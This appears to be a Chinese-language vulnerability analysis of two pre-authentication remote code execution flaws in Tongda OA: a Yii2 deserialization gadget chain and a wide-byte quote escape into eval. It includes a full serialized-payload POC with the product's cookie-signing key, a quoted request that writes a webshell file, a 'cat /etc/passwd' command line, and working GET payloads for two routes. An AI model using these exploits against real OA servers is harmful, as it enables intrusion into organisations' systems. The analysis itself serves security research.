• 通达OA RCE远程代码执行漏洞分析


    目录

    1. 前台反序列化漏洞

    前言

    确定yii版本

    反序列化链的审计

    poc

    2. 前台代码注入漏洞

    前言

    对poc的简要分析与猜测

    源码分析

    寻找其它的利用处

    其它可以利用的组件模块

    其它可以利用的路由

    参考文章


    1. 前台反序列化漏洞

    前言

    由于已经有师傅对于如何触发反序列化的方法和代码进行了说明,这里我也就不拾人牙慧,主要谈一谈这里反序列化链的挖掘。具体的触发流程可以参考https://mp.weixin.qq.com/s/nOQuqt\_mO0glY-KALc1Xiw
    目前网上也出现了一些分析反序列化链的分析,但是目前我看到的大部分分析走的反序列化链都是通达OA自己实现了一个redis的Connection类进行攻击的poc。但是这个链,我个人认为是不够完善的。因为首先这个链设计到了socket的连接问题,可能会有一定的不稳定性和延迟。其次这条链的序列化数据比较长。那么能不能通过yii2框架的自带的链子进行更加稳定的反序列化链的触发呢。先说答案可以,并且GitHub上也已经有了链子的构造。下面进行整条链子的分析流程分享。

    确定yii版本

    首先通过参考师傅的审计思路,我们可以发现这里的yii2是2.0.13-dev。

    00.png


    看到是yii2的时候我就想着去偷个懒,毕竟这个框架之前爆出了很多反序列化的问题,到网上搜了一圈poc,发现没一个能打通的。这里我发现了一个问题,网上的poc基本上如下:

    1. namespace Faker{
    2. class DefaultGenerator{
    3. protected $default ;
    4. function __construct($argv)
    5. {
    6. $this->default = $argv;
    7. }
    8. }
    9. class ValidGenerator{
    10. protected $generator;
    11. protected $validator;
    12. protected $maxRetries;
    13. function __construct($command,$argv)
    14. {
    15. $this->generator = new DefaultGenerator($argv);
    16. $this->validator = $command;
    17. $this->maxRetries = 99999999;
    18. }
    19. }
    20. }
    21. namespace Codeception\Extension{
    22. use Faker\ValidGenerator;
    23. class RunProcess{
    24. private $processes = [] ;
    25. function __construct($command,$argv)
    26. {
    27. $this->processes[] = new ValidGenerator($command,$argv);
    28. }
    29. }
    30. }
    31. namespace {
    32. use Codeception\Extension\RunProcess;
    33. $exp = new RunProcess('system','cat /etc/passwd');
    34. echo(base64_encode(serialize($exp)));
    35. exit();
    36. }

    在这里我们会发现一个问题,就是基本上都用到了Faker的这个namespace下的类,但是在yii2的核心框架不含任何拓展的情况下这个命名空间的相关文件是没有的。所以基本上网上的poc全部都失效了。这边就需要我们自己去挖掘一条yii2的反序列化链。去GitHub上下载了对应的yii2的版本,由于没发现标签是yii2.0.13-dev的这个版本,所以就下载了yii2.0.13的最新的一个版本。

    01.png

    反序列化链的审计

    老规矩,在没有后续操作下的反序列化的可利用的起始魔术方法基本上是__destruct,yii2也很简单明了,也就只有一个类含有__destruct

    02.png


    在BatchQueryResult类中的__destruct作为反序列化的起点,这个也和网上大多数的链子的起点一样。往下走,可以看到__destruct中调用了reset,而reset函数中则出现了反序列化中很喜欢遇到的一个写法。

    $this->_dataReader->close();
    

    这个写法有两种利用的跳转方式,调用其它类的close方法或者调用其它未实现close方法的类的__call方法。这里我一开始的想法是跟进了__call方法,因为很多时候__call方法中都会采用call_user_func的形式进行调用,很有可能存在代码执行。但是这里也发现了问题,唯一一个调用了call_userfunc,而不是没有其它任何操作的,直接抛出错误的是yii\base\Component的\_call方法长这样。

    1. public function __call($name, $params)
    2. {
    3. $this->ensureBehaviors();
    4. foreach ($this->_behaviors as $object) {
    5. if ($object->hasMethod($name)) {
    6. return call_user_func_array([$object, $name], $params);
    7. }
    8. }
    9. throw new UnknownMethodException('Calling unknown method: ' . get_class($this) . "::$name()");
    10. }

    这明摆着也只能调用其它类的close方法,所以下一步就是查看别的类的close方法是不是可以有可以利用的地方。

    一开始进行审计的是yii\db\Connection类中的close,因为这个close方法中可以触发__get和__tostring的魔术方法

    1. public function close()
    2. {
    3. if ($this->_master) {
    4. if ($this->pdo === $this->_master->pdo) {
    5. $this->pdo = null;
    6. }
    7. $this->_master->close();
    8. $this->_master = false;
    9. }
    10. if ($this->pdo !== null) {
    11. Yii::trace('Closing DB connection: ' . $this->dsn, __METHOD__);
    12. $this->pdo = null;
    13. $this->_schema = null;
    14. $this->_transaction = null;
    15. }
    16. if ($this->_slave) {
    17. $this->_slave->close();
    18. $this->_slave = false;
    19. }
    20. }

    但是再对__get的方法进行阅读后,发现暂时没有能进一步利用的点,于是对__toString方法进行审计。这里我一开始是没有发现可以继续利用的地方。但是后来在PHPGGC的gadget中发现了yii2的相应反序列化链,同时在群里师傅的帮助下,弄明白了这条链的触发逻辑。

    这里首先是从触发yii\db\cubrid\ColumnSchemaBuilder的__toString入手。

    1. public function __toString()
    2. {
    3. switch ($this->getTypeCategory()) {
    4. case self::CATEGORY_PK:
    5. $format = '{type}{check}{comment}{append}{pos}';
    6. break;
    7. case self::CATEGORY_NUMERIC:
    8. $format = '{type}{length}{unsigned}{notnull}{unique}{default}{check}{comment}{append}{pos}';
    9. break;
    10. default:
    11. $format = '{type}{length}{notnull}{unique}{default}{check}{comment}{append}{pos}';
    12. }
    13. return $this->buildCompleteString($format);
    14. }
    15. protected function getTypeCategory()
    16. {
    17. return isset($this->categoryMap[$this->type]) ? $this->categoryMap[$this->type] : null;
    18. }

    我们可以发现这里上来是调用了getTypeCategory,而getTypeCategory中则对categoryMap进行了类似数组的方式取值。这里也是我一开始忽略的点,我上来觉得这个可能就最多能触__get方法,但是__get方法又正如前面所说的找不到特别好的触发地方。但是这里其实是我基础知识不过关导致的,要将类作为数组的方式取值,是要实现特定接口才行,而非某种魔术方法。在php的文档中,我们可以发现ArrayAccess正是需要被实现的接口。

    03.png


    在yii2的框架中有个ArrayCache的类继承自Cache,而Cache类则有对ArrayAccess接口进行实现。

    04.png

    05.png

    我们可以发现这里上来是调用了getTypeCategory,而getTypeCategory中则对categoryMap进行了类似数组的方式取值。这里也是我一开始忽略的点,我上来觉得这个可能就最多能触__get方法,但是__get方法又正如前面所说的找不到特别好的触发地方。但是这里其实是我基础知识不过关导致的,要将类作为数组的方式取值,是要实现特定接口才行,而非某种魔术方法。在php的文档中,我们可以发现ArrayAccess正是需要被实现的接口。

    04.png

    在yii2的框架中有个ArrayCache的类继承自Cache,而Cache类则有对ArrayAccess接口进行实现。

    05.png

    再看Cache类中对offsetGet的实现

    1. public function offsetGet($key)
    2. {
    3. return $this->get($key);
    4. }
    5. public function get($key)
    6. {
    7. $key = $this->buildKey($key);
    8. $value = $this->getValue($key);
    9. if ($value === false || $this->serializer === false) {
    10. return $value;
    11. } elseif ($this->serializer === null) {
    12. $value = unserialize($value);
    13. } else {
    14. $value = call_user_func($this->serializer[1], $value);
    15. }
    16. if (is_array($value) && !($value[1] instanceof Dependency && $value[1]->isChanged($this))) {
    17. return $value[0];
    18. }
    19. return false;
    20. }
    21. public function buildKey($key)
    22. {
    23. if (is_string($key)) {
    24. $key = ctype_alnum($key) && StringHelper::byteLength($key) <= 32 ? $key : md5($key);
    25. } else {
    26. $key = md5(json_encode($key));
    27. }
    28. return $this->keyPrefix . $key;
    29. }
    30. protected function getValue($key)
    31. {
    32. if (isset($this->_cache[$key]) && ($this->_cache[$key][1] === 0 || $this->_cache[$key][1] > microtime(true))) {
    33. return $this->_cache[$key][0];
    34. }
    35. return false;
    36. }

    这里可以看到有call_user_func的调用,get的参数$key的值是由getTypeCategory中的$this->type提供的,这个是完全可控的,而buildKey对于全是字母数字的长度32以下的则不做任何修改。getValue中的$this->_cache也是完全可控的,所以这也就说明get函数中的$value可控,并且在call_user_func中的$this->serializer也是在反序列化的时候完全可控,这样这里的call_user_func就导致了任意代码执行。由于目标是通达OA,php版本为php5,这里用$this->serializer赋值为assert就可以类似eval的进行任意代码执行。

    poc

    下面是完整的poc

    1. //仅用于安全研究与授权测试,使用此漏洞造成的任何攻击影响均与本文作者无关。
    2. namespace yii\db {
    3. class ColumnSchemaBuilder {
    4. protected $type = 'x';
    5. public $categoryMap;
    6. function __construct($categoryMap) {
    7. $this->categoryMap = $categoryMap;
    8. }
    9. }
    10. class Connection {
    11. public $pdo = 1;
    12. function __construct($dsn) {
    13. $this->dsn = $dsn;
    14. }
    15. }
    16. class BatchQueryResult {
    17. private $_dataReader;
    18. function __construct($dataReader) {
    19. $this->_dataReader = $dataReader;
    20. }
    21. }
    22. }
    23. namespace yii\caching {
    24. class ArrayCache {
    25. public $serializer;
    26. private $_cache;
    27. function __construct($function, $parameter) {
    28. $this->serializer = [1 => $function];
    29. $this->_cache = ['x' => [$parameter, 0]];
    30. }
    31. }
    32. }
    33. namespace{
    34. $function = 'var_dump';
    35. $parameter = 123;
    36. $cache = new \yii\caching\ArrayCache($function, $parameter);
    37. $csb = new \yii\db\ColumnSchemaBuilder($cache);
    38. $conn = new \yii\db\Connection($csb);
    39. $query = new \yii\db\BatchQueryResult($conn);
    40. $data=(serialize($query));
    41. $data=hash_hmac('sha256', $data, 'tdide2').$data; //通达OA的cookie反序列化校验
    42. echo urlencode($data);
    43. }

    2. 前台代码注入漏洞

    前言

    在一次众测中,遇到了一个通达OA11,虽然到最后也没有成功拿下权限,但是网上查找到的一个通达OA的前台RCE的poc,让我产生了兴趣,并进行了深入的分析。poc的来源是漏洞利用-通达OA11.10前台getshell执行命令-腾讯云开发者社区-腾讯云 。

    对poc的简要分析与猜测

    网上给出的POC如下:

    1. GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5',1%3d>fwrite(fopen("D:\MYOA\webroot\general\test1.php","w"),"
    2. Host: 192.168.121.147:8081
    3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
    4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    6. Accept-Encoding: gzip, deflate
    7. DNT: 1
    8. Connection: close
    9. Cookie: PHPSESSID=7n7nl11mo8hrkp03hvtj8sjti0; KEY_RANDOMDATA=5711
    10. Upgrade-Insecure-Requests: 1

    然后文章给出的返回包是这样的

    00.png


    注意activeTab那一栏的对应的像乱码一样的中文,再结合poc中这个很像是宽字节注入中出现的%e5,会很让人联想到是不是这一栏带入了sql进行了数据查询,从而导致了sql注入最终由于视图渲染等原因导致了任意代码执行。但是仔细思考后也觉得不对,因为即使是宽字节的注入,这边虽然进行了逃逸,但是也未对后续内容进行闭合和也没有对数据添加单引号表示为字符串。而且在本地进行测试的时候,也发现了这一步就是在控制器中达成的代码执行和视图关系不大。

    源码分析

    由于这个poc实在没法一眼看出来漏洞的出处,下面对源码进行分析。首先先看一下目录结构

    01.png


    可以确定是MVC架构无疑了。

    02.png


    index.php可以发现使用的是yii2的框架。由于我们分析的是前台RCE,所以先看鉴权,即我们能访问到的路由。

    1. else {
    2. $url = $_SERVER["REQUEST_URI"];
    3. $strurl = substr($url, 0, strpos($url, "?"));
    4. if (strpos($strurl, "/portal/") !== false) {
    5. if (strpos($strurl, "/gateway/") === false) {
    6. header("Location:/index.php");
    7. sess_close();
    8. exit();
    9. }
    10. else if (strpos($strurl, "/gateway/saveportal") !== false) {
    11. header("Location:/index.php");
    12. sess_close();
    13. exit();
    14. }
    15. else if (strpos($url, "edit") !== false) {
    16. header("Location:/index.php");
    17. sess_close();
    18. exit();
    19. }
    20. else if (strpos($url, "uploadfile") !== false) {
    21. header("Location:/index.php");
    22. sess_close();
    23. exit();
    24. }
    25. else if (strpos($url, "uploadportalfile") !== false) {
    26. header("Location:/index.php");
    27. sess_close();
    28. exit();
    29. }
    30. else if (strpos($url, "uploadpicture") !== false) {
    31. header("Location:/index.php");
    32. sess_close();
    33. exit();
    34. }
    35. else if (strpos($url, "dologin") !== false) {
    36. header("Location:/index.php");
    37. sess_close();
    38. exit();
    39. }
    40. }
    41. else if (strpos($url, "/appdata/doprint") !== false) {
    42. $_GET["csrf"] = urldecode($_GET["csrf"]);
    43. $b_check_csrf = false;
    44. if (!empty($_GET["csrf"]) && preg_match("/^\{([0-9A-Z]|-){36}\}$/", $_GET["csrf"])) {
    45. $s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs";
    46. $s_tmp .= "/" . $_GET["csrf"];
    47. if (file_exists($s_tmp)) {
    48. $b_check_csrf = true;
    49. $b_dir_priv = true;
    50. }
    51. }
    52. if (!$b_check_csrf) {
    53. header("Location:/index.php");
    54. sess_close();
    55. exit();
    56. }
    57. }
    58. else {
    59. header("Location:/index.php");
    60. sess_close();
    61. exit();
    62. }
    63. }

    有两个路由的分支,一个是portal,另一个是/appdata/doprint。

    /appdata/doprint要访问的话需要/appbuilder/logs底下存在一个类似guid的文件,先来看看这个文件的生成可不可以未授权,发现这个文件的写入控制是在general\appbuilder\modules\appcenter\views\Appdata\print.php文件,访问发现:

    03.png


    尝试了一下常规的bypass无果,后来查看nginx.conf,发现该目录已被屏蔽,虽然这种路由的写法理论上是可以进行大小写绕过访问的,但是不清楚为什么即使用了大小写仍然出现了403。

    1. location ^~ /general/appbuilder/modules/ {
    2. deny all;
    3. }

    即使删掉这项进行访问也会因为被前面的规则卡住,从而引发访问路由不存在的问题。不过这里倒是可以采用大小写进行绕过并成功访问到print.php。

    1. location /general/appbuilder/ {
    2. index index.php index.html index.htm;
    3. try_files $uri $uri/ @rewrite;
    4. rewrite ^/general/appbuilder/(.*)$ /general/appbuilder/web/index.php?$args;
    5. }

    而且再看print.php访问时由于需要一个对象,而这是无法提供的,所以会报错500,无法进行文件的写入生成,综上,这个路由是无法利用的。

    继续对上面的路由访问控制进行分析,可以发现首先要求的控制器是portal下的gateway,可能会有人问到这边是否能通过url编码啥的进行绕过,但是在文件的开头就用正则表达式对路由进行了过滤,所以也是不存在绕过的。

    1. if (!preg_match("/^(\/[A-Za-z0-9|-]+[\/]?)+(\?[\s\S]*)?$/", $_SERVER["REQUEST_URI"])) {
    2. echo "请求路径不符合要求";
    3. exit();
    4. }

    geteway控制器下一共有19个可访问的action,去除类似login和上面鉴权的模块,可访问到的路由如下:

    1. actionGetassembly
    2. actionGetcustomcolumn
    3. actionGetportal
    4. actionPagerelation
    5. actionPages
    6. actionGetpage
    7. actionGetdata
    8. actionGetclassifydata
    9. actionGetpicturelist
    10. actionGetpicturesrc
    11. actionGetlogin
    12. actionDetailspage
    13. actionMore
    14. actionGetworksize

    去除500,用yii2框架进行sql查询不可能存在sql注入,和没有参数传入无法利用的路由,发现actionGetdata和actionMore存在漏洞的可能性是最大的,正好这次rce的问题也出在了actionGetdata上面,我们来跟进actionGetdata进入深入查看。

    跟着poc进行分析,会进入到该action的下例代码中,因为这里的module给的是Carouselimage

    1. $component = new modules\portal\models\PortalComponent();
    2. $this->dataBack = $component->GetData($id, $module, $activeTab, $curnum, $pagelimit, $timetype, 1, $starttime, $endtime, $view);
    3. $this->dataBack = modules\appdesign\models\AppUtils::toUTF8($this->dataBack);
    4. $redis_data["data"] = modules\portal\controllers\json_encode($this->dataBack);
    5. $redis->hmset("portal:portal_" . $portal_id . ":component_id:" . $id, $redis_data);
    6. $redis->expire("portal:portal_" . $portal_id . ":component_id:" . $id, 2592000);
    7. return $this->dataBack;

    从这里开始,我们要开始关注最终导致任意代码执行的activeTab参数,目前activeTab的值未进行任何修改

    跟进PortalComponent的的Getdata函数进行查看

    1. public function GetData($id, $module, $activeTab, $curnum, $pagelimit, $timetype, $onepage, $starttime, $endtime, $view, $keyword)
    2. {
    3. $data = self::findOne(array("id" => $id));
    4. if (modules\portal\models\is_object($data)) {
    5. $source = $data->source;
    6. $attribute = $data->attribute;
    7. $comtype = (string) $data->comtype;
    8. $open_mode = $data->open_mode;
    9. $oaname = $data->oaname;
    10. $custom_json = $data->custom_json;
    11. $rss_link = $data->rss_link;
    12. $link = $data->link;
    13. $catidstr = $data->catidstr;
    14. $mid = $data->mid;
    15. $rets = modules\portal\models\PortalWorkbench::findOne(array("id" => $mid));
    16. if (modules\portal\models\is_object($rets)) {
    17. $type = $rets->type;
    18. }
    19. $this_array = array("id" => $id, "source" => $source, "attribute" => $attribute, "comtype" => $comtype, "open_mode" => $open_mode, "oaname" => $oaname, "custom_json" => $custom_json, "rss_link" => $rss_link, "link" => $link, "catidstr" => $catidstr, "activeTab" => $activeTab, "curnum" => $curnum, "pagelimit" => modules\portal\models\intval($pagelimit), "timetype" => $timetype, "type" => $type, "onepage" => $onepage, "starttime" => $starttime, "endtime" => $endtime, "view" => $view, "mid" => $mid, "keyword" => $keyword);
    20. if ($source == "custom_link") {
    21. $url = array("url" => $link);
    22. $data = array("page_total" => "", "total_nums" => "", "curnum" => "", "pagelimit" => "", "open_mode" => $open_mode, "activeTab" => $activeTab, "data_sources" => $source, "data" => $url);
    23. }
    24. else {
    25. if (!$rss_link && ($source == "rss_data")) {
    26. return array("status" => 0, "msg" => "rss地址不可为空");
    27. }
    28. $data = Yii::$app->getModule("portal")->designComponent->data_analysis($module, $this_array);
    29. }
    30. }
    31. else {
    32. return modules\appdesign\models\AppUtils::error(modules\portal\models\_("组件数据为空"));
    33. }

    首先先对id进行了查询,由于这是个mvc框架所以,在mysql中对应的数据表就是该类的类名,去数据库中看下poc中的id为19所对应的内容

    04.png


    由于source不是custom_link,所以直接进入后续的data_analysis函数。

    该函数对comtype进行了判断,并执行了相应module的get_data函数

    1. public function data_analysis($module, $thisarray)
    2. {
    3. $classname = $module;
    4. $classname = "App" . modules\portal\components\ucfirst($classname);
    5. if ($thisarray["comtype"] == "0") {
    6. $class = "\app\modules\portal\models\\function_components\\" . $classname;
    7. $obj = new $class();
    8. $ret = $obj->get_data($thisarray);
    9. }
    10. else if ($thisarray["comtype"] == "1") {
    11. $class = "\app\modules\portal\models\\free_components\\" . $classname;
    12. $obj = new $class();
    13. $ret = $obj->get_data($thisarray);
    14. }
    15. else if ($thisarray["comtype"] == "2") {
    16. $class = "\app\modules\portal\models\website_components\\" . $classname;
    17. $obj = new $class();
    18. $ret = $obj->get_data($thisarray);
    19. }
    20. return $ret;
    21. }

    注意到我们调用的Carouselimage是位于AppCarouselimage.php,而该文件是在free_components下面,所以这里的comtype是1,事实上在数据库中也确实这样。其实这里我们也就发现了,只要id对应的source不是custom_link,然后对应的comtype为1,都能走到poc需要类的get_data,下面对Carouselimage中的get_data进行分析。

    1. public function get_data($thisarray)
    2. {
    3. $source = $thisarray["source"];
    4. $id = $thisarray["id"];
    5. $portal_id = modules\portal\models\PortalComponent::GetPortalbyComponent($id);
    6. $thisarray["portal_id"] = $portal_id;
    7. if ($source == "serv_data") {
    8. $this->dataBack = $this->get_serv_data($thisarray);
    9. }
    10. else if ($source == "cot_manage") {
    11. $this->dataBack = $this->get_cot_manage($thisarray);
    12. }
    13. else if ($source == "custom_page") {
    14. }
    15. else if ($source == "custom_col") {
    16. $this->dataBack = $this->get_custom_col($thisarray);
    17. }
    18. else if ($source == "custom_link") {
    19. }
    20. else if ($source == "rss_data") {
    21. }
    22. $this->dataBack["data_sources"] = ($thisarray["source"] ? $thisarray["source"] : "");
    23. return $this->dataBack;
    24. }
    25. public function get_serv_data($thisarray)
    26. {
    27. include_once "inc/utility_file.php";
    28. .........
    29. .........
    30. .........
    31. $dataBacks = array("page_total" => $page_total, "total_nums" => $total_nums, "curnum" => $curnum, "pagelimit" => $pagelimit, "open_mode" => (string) $open_mode, "activeTab" => $activeTab, "show_title" => $json_data["show_title"], "show_dots" => $json_data["show_dots"], "speed" => $json_data["speed"], "data" => $this->dataBack);
    32. return $dataBacks;
    33. }

    在这边注意到,其中的activeTab也从来没被修改过。在往后继续,跟进返回到gateway控制器中的actionGetdata,注意到了之后的这行代码:

    $this->dataBack = modules\appdesign\models\AppUtils::toUTF8($this->dataBack);
    

    toUTF8的代码如下:

    1. static public function toUTF8($value, $b_force)
    2. {
    3. if (yii::$app->params["UTF8"] && !$b_force) {
    4. return $value;
    5. }
    6. if (modules\appdesign\models\is_array($value)) {
    7. if (yii::$app->params["QuickConvertCharset"]) {
    8. try {
    9. if (!isset($value["pattern"])) {
    10. $s_conv = modules\appdesign\models\iconv("GBK", "UTF-8", modules\appdesign\models\var_export($value, modules\appdesign\models\true) . ";");
    11. if ($s_conv) {
    12. return eval "return " . $s_conv;
    13. }
    14. }
    15. }
    16. catch (yii\base\Exception $e) {
    17. }
    18. }
    19. $arr = array();
    20. foreach ($value as $k => $v ) {
    21. $arr[self::toUTF8($k, $b_force)] = self::toUTF8($v, $b_force);
    22. }
    23. return $arr;
    24. }
    25. else {
    26. $s_code = modules\appdesign\models\mb_detect_encoding($value, array("ASCII", "GB2312", "GBK", "UTF-8"), modules\appdesign\models\true);
    27. if (modules\appdesign\models\in_array($s_code, array("CP936", "GBK", "GB2312", "EUC-CN"))) {
    28. return modules\appdesign\models\iconv("GBK", "UTF-8", $value);
    29. }
    30. else {
    31. return $value;
    32. }
    33. }
    34. }

    若想达成代码执行,则需要触发之中的eval,很幸运在默认的配置下是可以走到eval的,这里用了iconv函数将GBK转为UTF8,问题也就出在这里。錦的utf-8编码是0xe98ca6,它的gbk编码是0xe55c。传入的%e5与用来转义的单引号的\,正好组成了这个汉字,从而导致我们的单引号逃逸出来,最终到达eval的任意代码执行。这也由于var_export是用单引号包裹字符串的。下面是本地的一个测试:

    1. $value=array("page_total"=>null,"total_nums"=>null,"curnum"=>1,
    2. "pagelimit"=>10,"open_mode"=>"0","activeTab"=>urldecode("%e5\%27.var_dump(11111));?>"),
    3. "show_title"=>null,"show_dots"=>null,"speed"=>null,"data"=>[],"showPages"=>0,"data_sources"=>"serv_data");
    4. $b=var_export($value, true);
    5. var_dump($b);
    6. $s_conv=iconv("GBK", "UTF-8", $b.";");
    7. if ($s_conv) {
    8. var_dump($s_conv);
    9. eval("return " . $s_conv);
    10. }

    结果如下:

    1. string(310) "array (
    2. 'page_total' => NULL,
    3. 'total_nums' => NULL,
    4. 'curnum' => 1,
    5. 'pagelimit' => 10,
    6. 'open_mode' => '0',
    7. 'activeTab' => '\\\'.var_dump(11111));?>',
    8. 'show_title' => NULL,
    9. 'show_dots' => NULL,
    10. 'speed' => NULL,
    11. 'data' =>
    12. array (
    13. ),
    14. 'showPages' => 0,
    15. 'data_sources' => 'serv_data',
    16. )"
    17. string(312) "array (
    18. 'page_total' => NULL,
    19. 'total_nums' => NULL,
    20. 'curnum' => 1,
    21. 'pagelimit' => 10,
    22. 'open_mode' => '0',
    23. 'activeTab' => '錦\\'.var_dump(11111));?>',
    24. 'show_title' => NULL,
    25. 'show_dots' => NULL,
    26. 'speed' => NULL,
    27. 'data' =>
    28. array (
    29. ),
    30. 'showPages' => 0,
    31. 'data_sources' => 'serv_data',
    32. );"
    33. int(11111)

    可以看到成功进行了逃逸。至此通达OA前台RCE的原理也就分析完了。

    寻找其它的利用处
    其它可以利用的组件模块

    在上面的源码分析,我们也发现了只要最终调用的module中的get_data的返回含有我们可控的activeTab,就可以在/general/appbuilder/web/portal/gateway/getdata进行rce。在comtype为0的情况下,寻找的是文件夹function_components下面的类,其中有一个APPZhidao类,它的get_data如下:

    1. public function get_data($thisarray)
    2. {
    3. $json = $thisarray["attribute"];
    4. $activeTab = $thisarray["activeTab"];
    5. $curnum = $thisarray["curnum"];
    6. $pagelimit = $thisarray["pagelimit"];
    7. $timetype = $thisarray["timetype"];
    8. $ret = (array) modules\portal\models\function_components\json_decode($json);
    9. $json_data = modules\appdesign\models\AppUtils::object2Array($ret);
    10. $json_data = modules\appdesign\models\AppUtils::toGBK($json_data);
    11. if ($timetype) {
    12. $this_time = modules\appdesign\models\AppUtils::get_time($timetype);
    13. $this->beginTime = $this_time["beginTime"];
    14. $this->endTime = $this_time["endTime"];
    15. }
    16. $curnum = ($curnum ? $curnum : 1);
    17. $start = ($curnum - 1) * $pagelimit;
    18. if (modules\portal\models\function_components\find_id($_SESSION["LOGIN_FUNC_STR"], "185")) {
    19. .........
    20. .........
    21. .........
    22. }
    23. $dataBacks = array("page_total" => $page_total, "total_nums" => $total_nums, "curnum" => $curnum, "pagelimit" => $pagelimit, "activeTab" => $activeTab, "data" => $this->dataBack);
    24. return $dataBacks;
    25. }

    由于未登录所以大部分的逻辑都是不会进去的,直接返回了含有未修改activeTab的数组。利用的poc如下所示:

    1. /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5'.var_dump(111));/*&id=1&module=Zhidao

    其实大部分的组件都是可以利用的,除了website_components下的module,因为它的get_data并没有返回可控的activeTab。

    其它可以利用的路由

    在actionMore中用到了同样的逻辑来获得dataBack,所以这边也存在利用点,actionMore代码如下:

    1. public function actionMore($id, $module, $activeTab, $curnum, $pagelimit, $keyword)
    2. {
    3. Yii::$app->response->format = yii\web\Response::FORMAT_JSON;
    4. $id = modules\portal\controllers\intval($id);
    5. $curnum = modules\portal\controllers\intval($curnum);
    6. $pagelimit = modules\portal\controllers\intval($pagelimit);
    7. $keyword = modules\portal\controllers\td_filterWords($keyword);
    8. if (empty($id)) {
    9. return modules\appdesign\models\AppUtils::error(modules\portal\controllers\_("未指定门户组件"));
    10. }
    11. $component = new modules\portal\models\PortalComponent();
    12. $timetype = "";
    13. if (!$module) {
    14. $component = modules\portal\models\PortalComponent::find()->where(array("id" => $id))->one();
    15. $module = $component->alias;
    16. }
    17. $activeTab = ($activeTab ? $activeTab : "");
    18. if ($module == "video") {
    19. $activeTab = "More";
    20. }
    21. $data = $component->GetData($id, $module, $activeTab, $curnum, $pagelimit, $timetype, "", "", "", "", $keyword);
    22. $dataBacks = array("status" => 1, "data" => $data);
    23. $this->dataBack = modules\appdesign\models\AppUtils::toUTF8($dataBacks);
    24. return $this->dataBack;
    25. }

    但是需要注意到这边的dataBacks又用了一层array来包裹,所以在做括号闭合时,要多加一层括号,poc如下:

    1. /general/appbuilder/web/portal/gateway/more?activeTab=%e5'.var_dump(111)));/*&id=1&module=Zhidao

    参考文章

    漏洞利用-通达OA11.10前台getshell执行命令-腾讯云开发者社区-腾讯云

    如何深度分析宽字节sql注入 • Worktile社区

    【新】通达OA前台反序列化漏洞分析

    原文链接:https://forum.butian.net/share/2543

    免费领取安全学习资料包!

    渗透工具

    技术文档、书籍

     

    面试题

    帮助你在面试中脱颖而出

    视频

    基础到进阶

    环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

     

    应急响应笔记

    学习路线

  • 相关阅读:
    设计模式之中介者模式
    L1-002 打印沙漏分数 20
    神经网络物联网未来发展趋势怎么样
    TensorFlow 2.10.0 已发布
    第 45 章 读写内部 FLASH
    深入探索Android Service:后台服务的终极指南(下)
    Mac系统补丁管理
    ​软考-高级-信息系统项目管理师教程 第四版【第15章-项目风险管理-思维导图】​
    spring基本使用
    Go语言内置类型和函数
  • 原文地址:https://blog.csdn.net/zkaqlaoniao/article/details/134436614